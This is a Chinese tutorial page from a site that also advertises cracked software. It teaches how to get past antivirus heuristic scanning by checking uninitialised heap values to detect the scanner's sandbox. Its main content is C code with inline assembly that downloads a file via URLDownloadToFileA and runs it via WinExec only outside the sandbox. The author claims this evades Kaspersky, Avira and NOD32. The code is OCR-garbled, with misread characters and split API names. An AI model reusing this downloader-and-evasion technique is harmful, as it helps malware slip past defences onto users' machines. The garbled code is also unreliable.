免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 利用堆空间突破启发式免杀

利用堆空间突破启发式免杀

时间:2012-03-02 10:46来源:未知 整理:寂涯网络 点击:

这个思路时前几天复习指针时突然想到的,我们先来看一段代码:
char *p = new char [3];
*(p+l) = 'f'; printf("%x\n",*p); printf("%c\n",*(p+l));
printf("%x\n",*(p+2)); delete p;
写这段代码当时是为了测试堆空间,输出结果为:
ffffffcd     f   ffffffcd
从结果中可以看到,除了中间那个“f”是我赋值的,上、下两个数都是堆空间申请后的初始值。当时我就觉得0xffffffcd这个数值应该是系统用来识别堆空间用的,这样在释放的时候就可以跟据这个数值知道应该回收哪些字节了。这时编译的模式是Debug模式,于是下意识的调成Release模式,再次编译后竟出现了不同的结果:0  f  0
我们可以看到Release模式后,堆空间的初始值变成了0,至于为什么变成0我至今也 没搞清楚(本人水平有限,如果有知道的朋友还望指出原因)。但马上就跟免杀方面联系到了一起,debug是调试模式,它的堆空间就有初始值,那么杀软的虚拟机环境也可以算是一个调试模式了,那里面的堆空间会不会也是有初始值的呢?于是拿卡巴做了一个实验,证明我的想法是没错的,由此我们就可以利用这一点来突破卡巴的启发式查杀,下面是主要的代码:
char * Str=〃c:\\test.exe〃;
char * Url="file://c:\\windows\\system32\\notepad.exe";
HINSTANCE hi;
hi=LoadLibrary(^urlmon. dll〃);
PVOID
Down=GetProcAddress(GetModuleHandle(^urlmon.dll〃),^URLDown 1 oadToFi 1 eA/r);
_asm{
push 0
push 0
push Str
push Url
push 0
call Down
}
FreeLibrary(hi);
char *pl=new char[l];
if ((*pl)==0)
{
hi=LoadLibrary(^kernel32.dll〃);
PVOID Run=GetProcAddress(GetModuleHandle(^kernel32.dll"), "WinExec"); _asm {
push SW_SHOW
push Str
call Run
}
FreeLibrary(hi); delete pl;}
代码很简单,就是利用判断新申请的堆空间的初始值是否为0,不为0就说明是在卡巴 的虚拟机环境内,则不会执行完整功能。此段代码在多台WINXP SP3和WIN 7环境下测试通过,均可以成功下载并运行记事本。卡巴、小红伞、N0D32的启发式也都全部免杀。

本页地址 http://www.jybase.net/biancheng/20120302787.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com